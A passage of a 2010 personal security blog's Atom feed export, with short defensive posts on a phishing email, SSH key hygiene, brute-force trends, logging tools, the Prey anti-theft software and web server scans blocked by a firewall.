title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7910218109712473116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7910218109712473116'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/10/5822132117-hammering-my-server.html' title='58.221.32.117 hammering my server'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6217557011427148742</id><published>2010-08-26T15:54:00.001-04:00</published><updated>2011-02-02T12:02:30.410-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='e-mail'/><title type='text'>E-mail Malware Attempt</title><content type='html'>I've a friend that I got an e-mail from.&amp;nbsp; It had an empty subject line and one URL in the body.&amp;nbsp; Twenty others were sent the same e-mail.&lt;br /&gt;&lt;br /&gt;I notified the sender that they had an issue.&amp;nbsp; I then decided to use &lt;a href="http://www.web-sniffer.net/"&gt;Web-Sniffer&lt;/a&gt; to attempt to visit the link and do a quick investigation.&lt;br /&gt;&lt;br /&gt;When visiting via the web proxy, I observed the following:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_DYU25XfzLMA/THbCTvspWpI/AAAAAAAAAJE/oDYHT9pbnIw/s1600/malware1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_DYU25XfzLMA/THbCTvspWpI/AAAAAAAAAJE/oDYHT9pbnIw/s320/malware1.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;The web server was up and running, serving content but threw a code 302.&amp;nbsp; It also may have attempted to redirect to hxxp://uvuhjomuph.com (I obfuscated the link).&amp;nbsp; Clicking that URL takes me to an ED page (erectile dysfunction):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_DYU25XfzLMA/THbD587pY_I/AAAAAAAAAJM/e0Vdqpi5thI/s1600/malware2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_DYU25XfzLMA/THbD587pY_I/AAAAAAAAAJM/e0Vdqpi5thI/s320/malware2.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_DYU25XfzLMA/THbD-DZvDwI/AAAAAAAAAJU/FjjcMPspZ2Y/s1600/malware3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_DYU25XfzLMA/THbD-DZvDwI/AAAAAAAAAJU/FjjcMPspZ2Y/s320/malware3.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Googling that domain, I got at least &lt;a href="http://www.siteadvisor.com/sites/uvuhjomuph.com/postid?p=5027285"&gt;one good hit&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_DYU25XfzLMA/THbF1IC5lEI/AAAAAAAAAJc/KVh6pM_TojM/s1600/malware4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_DYU25XfzLMA/THbF1IC5lEI/AAAAAAAAAJc/KVh6pM_TojM/s320/malware4.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span id="goog_1820698944"&gt;&lt;/span&gt;&lt;span id="goog_1820698945"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_DYU25XfzLMA/THbGAH5Ws9I/AAAAAAAAAJk/9144dJCeHyA/s1600/malware5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_DYU25XfzLMA/THbGAH5Ws9I/AAAAAAAAAJk/9144dJCeHyA/s320/malware5.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span id="goog_1820698944"&gt;&lt;/span&gt;&lt;span id="goog_1820698945"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span id="goog_1820698944"&gt;So, my friend more than likely got phished and her e-mail account is now throwing out spam for penile meds.&amp;nbsp; :(&lt;/span&gt;&lt;span id="goog_1820698945"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6217557011427148742?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6217557011427148742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6217557011427148742' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6217557011427148742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6217557011427148742'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/08/e-mail-malware-attempt.html' title='E-mail Malware Attempt'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DYU25XfzLMA/THbCTvspWpI/AAAAAAAAAJE/oDYHT9pbnIw/s72-c/malware1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-6995821779999423429</id><published>2010-08-25T16:48:00.001-04:00</published><updated>2011-02-02T12:00:59.852-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rsa'/><category scheme='http://www.blogger.com/atom/ns#' term='brute'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='force'/><category scheme='http://www.blogger.com/atom/ns#' term='keys'/><category scheme='http://www.blogger.com/atom/ns#' term='private'/><category scheme='http://www.blogger.com/atom/ns#' term='dsa'/><title type='text'>Protect your privates!</title><content type='html'>&lt;a href="http://isc.sans.edu/diary.html?storyid=9367"&gt;Protect your privates!&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;http://isc.sans.edu/diary.html?storyid=9367&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In view of all the brute force attacks still being attempted against  Secure Shell (SSH), we have long since been extolling the virtues of  forgoing passwords and moving to RSA/DSA keys instead.&lt;br /&gt;While key based login indeed nicely addresses the problem of password  guessing attacks, it looks like many a Unix admin has been less than  diligent in the implementation. In pretty much every Unix security audit  recently, we've come across unprotected or badly protected SSH private  keys (id_dsa, id_rsa). Some reside plain flat out in the open, in /tmp  and such. Others are found in world-readable tar "backup" archives of  user and administrator home directories. Some are even built into  home-grown Linux RPM and Solaris PKG packages, ready to be plucked off  an install server.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-6995821779999423429?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/6995821779999423429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=6995821779999423429' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6995821779999423429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/6995821779999423429'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/08/protect-your-privates.html' title='Protect your privates!'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2052060360719915179</id><published>2010-08-25T15:45:00.002-04:00</published><updated>2010-08-26T12:59:52.049-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='airplane'/><category scheme='http://www.blogger.com/atom/ns#' term='crash'/><title type='text'>Failure of controls...Spanair crash caused by a Trojan</title><content type='html'>&lt;a href="http://isc.sans.edu/diary.html?storyid=9433"&gt;&amp;nbsp;Failure of controls...Spanair crash caused by a Trojan&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Several readers have pointed us to an article about the preliminary  report of the Spanair flight that crashed on takeoff in 2008 killing  154.  &lt;a href="http://www.msnbc.msn.com/id/38790670/ns/technology_and_science-security/?gt1=43001"&gt;The article suggests&lt;/a&gt;  that a Trojan infected a Spanair computer and this prevented the  detection of a number of technical issues with the airplane. The article  speculates that if these issues had been detected the plane would not  have been permitted to attempt take off.&lt;br /&gt;&lt;br /&gt;NOTE:&amp;nbsp; Another article is &lt;a href="http://tinyurl.com/2dfxa2s"&gt;here&lt;/a&gt;.&amp;nbsp; Another is &lt;a href="http://ht.ly/2uOiH"&gt;here&lt;/a&gt;, and this one supports the error being on the pilots' behalves (bad pre-flight checks).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2052060360719915179?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2052060360719915179/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2052060360719915179' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2052060360719915179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2052060360719915179'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/08/failure-of-controlsspanair-crash-caused.html' title='Failure of controls...Spanair crash caused by a Trojan'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8508026868190971770</id><published>2010-08-24T12:08:00.001-04:00</published><updated>2010-08-24T13:02:49.189-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='splunk'/><category scheme='http://www.blogger.com/atom/ns#' term='health'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='system'/><title type='text'>Splunk?</title><content type='html'>Been thinking on trying &lt;a href="http://www.splunk.com/"&gt;Splunk&lt;/a&gt;, a console that can monitor multiple system logs, along with health and security alerts.&lt;br /&gt;&lt;br /&gt;I'll post more as I delve into this intriguing tool.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-8508026868190971770?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/8508026868190971770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=8508026868190971770' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8508026868190971770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/8508026868190971770'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/08/splunk.html' title='Splunk?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-4860878154637401518</id><published>2010-07-19T14:55:00.001-04:00</published><updated>2011-02-02T12:03:53.811-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='event'/><category scheme='http://www.blogger.com/atom/ns#' term='correlation'/><category scheme='http://www.blogger.com/atom/ns#' term='SAGAN'/><title type='text'>SAGAN: An open-source event correlation system - Part 1: Installation (from isc.sans.org)</title><content type='html'>&lt;a href="http://isc.sans.edu/diary.html?storyid=9184"&gt;SAGAN: An  open-source event correlation system - Part 1: Installation&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;SAGAN can be found &lt;a href="http://sagan.softwink.com/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-4860878154637401518?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/4860878154637401518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=4860878154637401518' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4860878154637401518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/4860878154637401518'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/07/sagan-open-source-event-correlation.html' title='SAGAN: An open-source event correlation system - Part 1: Installation (from isc.sans.org)'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-7315963121586274346</id><published>2010-06-18T10:51:00.000-04:00</published><updated>2010-06-18T10:51:28.410-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='ISC'/><category scheme='http://www.blogger.com/atom/ns#' term='distributed brute force'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><title type='text'>Distributed SSH Brute Force Attempts on the rise again -- SANS ISC</title><content type='html'>Reported by SANS ISC: &lt;br /&gt;&lt;br /&gt;&lt;a href="http://isc.sans.edu/diary.html?storyid=9031"&gt;Distributed SSH Brute Force Attempts on the rise again&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SSH brute force attempts seem to be on the rise again, at the SANS  Internet Storm Center we have received a number of reports that a number  of networks are seeing them. The source IP addresses vary with each new  attempted username in the wordlist, which would indicate that the  attempts are distributed through botnet(s). It only takes a single user  with a weak password for a breach to occur, then with that foothold  escalation and further attacks are likely next. This is certainly not a  new phenomenon, however I think it is a good time to raise awareness  about it once again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-7315963121586274346?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/7315963121586274346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=7315963121586274346' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7315963121586274346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/7315963121586274346'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/06/distributed-ssh-brute-force-attempts-on.html' title='Distributed SSH Brute Force Attempts on the rise again -- SANS ISC'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3709923096318156977</id><published>2010-05-05T13:28:00.001-04:00</published><updated>2010-05-05T13:29:13.432-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='spyware'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><title type='text'>Twitter Spam</title><content type='html'>&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;img height="122" id="ipfz4vosMNPNlbTIM:" src="http://t0.gstatic.com/images?q=tbn:z4vosMNPNlbTIM:http://www.amitbhawani.com/blog/Images/T/Twitter-Logo.PNG" style="border: 1px solid; vertical-align: bottom;" width="122" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;I looked in my e-mail going back a few days and saw the above e-mail.&amp;nbsp; It looks legit, right?&amp;nbsp; It appears to be coming from a twitter engineer, but look at my mouseover...there's a different URL behind the one showing and it looks to be suspicious.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_DYU25XfzLMA/S-Gn3KD6m8I/AAAAAAAAAIs/pT2-xNOWf2M/s1600/twitter_spam.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="155" src="http://2.bp.blogspot.com/_DYU25XfzLMA/S-Gn3KD6m8I/AAAAAAAAAIs/pT2-xNOWf2M/s400/twitter_spam.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I've gotten six of these since April 21st and I know that they're phishing-related.&amp;nbsp; Most people don't know this, though.&amp;nbsp; While some people suspect this type of e-mail is suspect, others are asking, "WTF is this?"&lt;br /&gt;&lt;br /&gt;Tips:&lt;br /&gt;&lt;br /&gt;1. Turn off HTML rendering in your e-mail client, as this prevents accidental clicking of malware/spyware/phishware links.&lt;br /&gt;&lt;br /&gt;2.&amp;nbsp; If you prefer HTML rendering to be on, if your OS or e-mail client supports link mouseover, you should be able to see what site you'd be directed to if you clicked the link.&amp;nbsp; If the link isn't related to Twitter, then you know that something isn't right about that e-mail.&lt;br /&gt;&lt;br /&gt;These phishers are beginning to get crafty, and in a subtle manner.&amp;nbsp; It's sad that we have to suspect any official e-mails as bad as a first step.&lt;br /&gt;&lt;br /&gt;Bottom Line:&amp;nbsp; Don't click on those links if you're getting these types of e-mails.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3709923096318156977?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3709923096318156977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3709923096318156977' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3709923096318156977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3709923096318156977'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/05/twitter-spam.html' title='Twitter Spam'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DYU25XfzLMA/S-Gn3KD6m8I/AAAAAAAAAIs/pT2-xNOWf2M/s72-c/twitter_spam.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-2096633069750392329</id><published>2010-04-11T18:01:00.002-04:00</published><updated>2010-05-05T13:44:58.550-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tracking'/><category scheme='http://www.blogger.com/atom/ns#' term='Prey'/><title type='text'>Got Prey?</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_DYU25XfzLMA/S-GuWf8cxDI/AAAAAAAAAI8/Q-cVPk2Ton4/s320/prey.png" /&gt;&lt;/div&gt;&lt;br /&gt;I've installed &lt;a href="http://preyproject.com/"&gt;Prey&lt;/a&gt; onto my Dell Mini 9.&amp;nbsp; I'm considering also installing it onto my wife's Dell Mini 10 and both of our Macbooks.&lt;br /&gt;&lt;br /&gt;Prey is a small and free application that will help you track down your machine if it is stolen.&amp;nbsp; They've agents for Windows, Mac OS X, and Linux.&amp;nbsp; It can be run on a desktop or laptop.&lt;br /&gt;&lt;br /&gt;What you do is register with the website, install the application onto the machines you want to monitor (up to three per account).&amp;nbsp; You then sync keys between the application and server software.&amp;nbsp; You can monitor many things on the remote machine from the Prey website and can determine the general location of your equipment.&amp;nbsp; You can even send messages to the thief!&lt;br /&gt;&lt;br /&gt;This software gives you the chance to recover your equipment by enabling manipulation of the system.&amp;nbsp; It can alert the 'new owner', it can be tracked via traceroute or GPS, the logs and processes can be monitored, and the webcam can be enabled.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-2096633069750392329?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/2096633069750392329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=2096633069750392329' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2096633069750392329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/2096633069750392329'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/04/got-prey.html' title='Got Prey?'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DYU25XfzLMA/S-GuWf8cxDI/AAAAAAAAAI8/Q-cVPk2Ton4/s72-c/prey.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-3270181309018964983</id><published>2010-03-30T22:52:00.004-04:00</published><updated>2010-05-05T13:47:23.008-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scans'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><category scheme='http://www.blogger.com/atom/ns#' term='trustedsource'/><category scheme='http://www.blogger.com/atom/ns#' term='mynetwatchman'/><category scheme='http://www.blogger.com/atom/ns#' term='fwlogsearch'/><title type='text'>Web Server Got Scanned</title><content type='html'>&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;img height="135" id="ipfUehU9IPhIUemuM:" src="http://t0.gstatic.com/images?q=tbn:UehU9IPhIUemuM:http://www.watblog.com/wp-content/uploads/2009/08/do-not-enter.png" style="border: 1px solid; vertical-align: bottom;" width="135" /&gt;&lt;/div&gt;&lt;br /&gt;So, I got alerted last night that source IP 74.53.76.11 was hitting my web server was scanned....heavily.&lt;br /&gt;&lt;br /&gt;The FW blocked it...it all hit the clean-up rule, which is a bit weird.&amp;nbsp; Usually, IPs that scan will hit open ports also (I've a few open).&amp;nbsp; This one was one of those with a source port of 80 that isc.sans.org was reporting about a few weeks ago.&amp;nbsp; The IP belongs to &lt;a href="http://www.theplanet.com/"&gt;ThePlanet&lt;/a&gt;.&amp;nbsp; &lt;a href="http://www.trustedsource.org/"&gt;TrustedSource&lt;/a&gt; shows some squirrely activity but nothing definitive.&amp;nbsp; My IDS didn't pick up anything either.&amp;nbsp;&amp;nbsp;&amp;nbsp; I also searched &lt;a href="http://www.mynetwatchman.com/"&gt;MyNetWatchman&lt;/a&gt; but the server is busted and craps out when I try to conduct searches.&amp;nbsp; The scan started at 14:38 and ended at 17:45 EST.&lt;br /&gt;&lt;br /&gt;I'll keep a watch out for further activity.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.trustedsource.org/query/74.53.76.11"&gt;http://www.trustedsource.org/query/74.53.76.11&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.dshield.org/ipinfo.html?ip=74.53.76.11"&gt;http://www.dshield.org/ipinfo.html?ip=74.53.76.11&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;EDIT (4/1/2010):&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;74.53.76.11 scanned the server today, generating 2144 FW log entries that were blocks triggered by the clean-up rule.&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;a href="http://www.trustedsource.org/query/74.53.76.11"&gt;http://www.trustedsource.org/query/74.53.76.11&lt;/a&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.dshield.org/ipdetails.html?ip=74.53.76.11" style="color: red;"&gt;http://www.dshield.org/ipdetails.html?ip=74.53.76.11&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;EDIT (4/2/2010):&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;124.217.254.63 also scanned the server today, generating 487 FW log entries that were blocks triggered by th clean-up rule.&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;http://www.trustedsource.org/query/124.217.254.63&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: red;"&gt;http://www.dshield.org/ipinfo.html?ip=124.217.254.63&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13095995-3270181309018964983?l=slackfiles.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://slackfiles.blogspot.com/feeds/3270181309018964983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13095995&amp;postID=3270181309018964983' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3270181309018964983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13095995/posts/default/3270181309018964983'/><link rel='alternate' type='text/html' href='http://slackfiles.blogspot.com/2010/03/web-server-got-scanned.html' title='Web Server Got Scanned'/><author><name>Ron</name><uri>http://www.blogger.com/profile/07368326205701250122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='22' src='http://1.bp.blogspot.com/_DYU25XfzLMA/SO00DtFzyLI/AAAAAAAAAD0/hvwkeHA-Ijo/S220/fail-owned-dingleberry-name-fail.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13095995.post-8471034938124507661</id><published>2010-03-29T00:12:00.000-04:00</published><updated>2010-03-29T00:12:42.558-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kismac'/><category scheme='http://www.blogger.com/atom/ns#' term='Mac'/><category scheme='http://www.blogger.com/atom/ns#' term='Verizon'/><category scheme='http://www.blogger.com/atom/ns#' term='WPA2'/><category scheme='http://www.blogger.com/atom/ns#' term='Sharp'/><category 